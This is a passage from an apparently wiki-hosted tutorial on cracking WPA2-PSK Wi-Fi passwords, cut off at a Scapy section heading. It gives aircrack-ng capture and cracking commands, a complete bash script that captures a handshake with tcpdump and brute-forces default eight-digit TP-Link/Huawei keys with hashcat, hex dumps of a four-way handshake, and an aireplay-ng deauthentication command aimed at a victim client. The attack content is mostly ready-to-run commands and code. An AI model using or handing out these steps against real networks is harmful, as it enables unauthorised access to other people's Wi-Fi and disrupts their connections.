      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
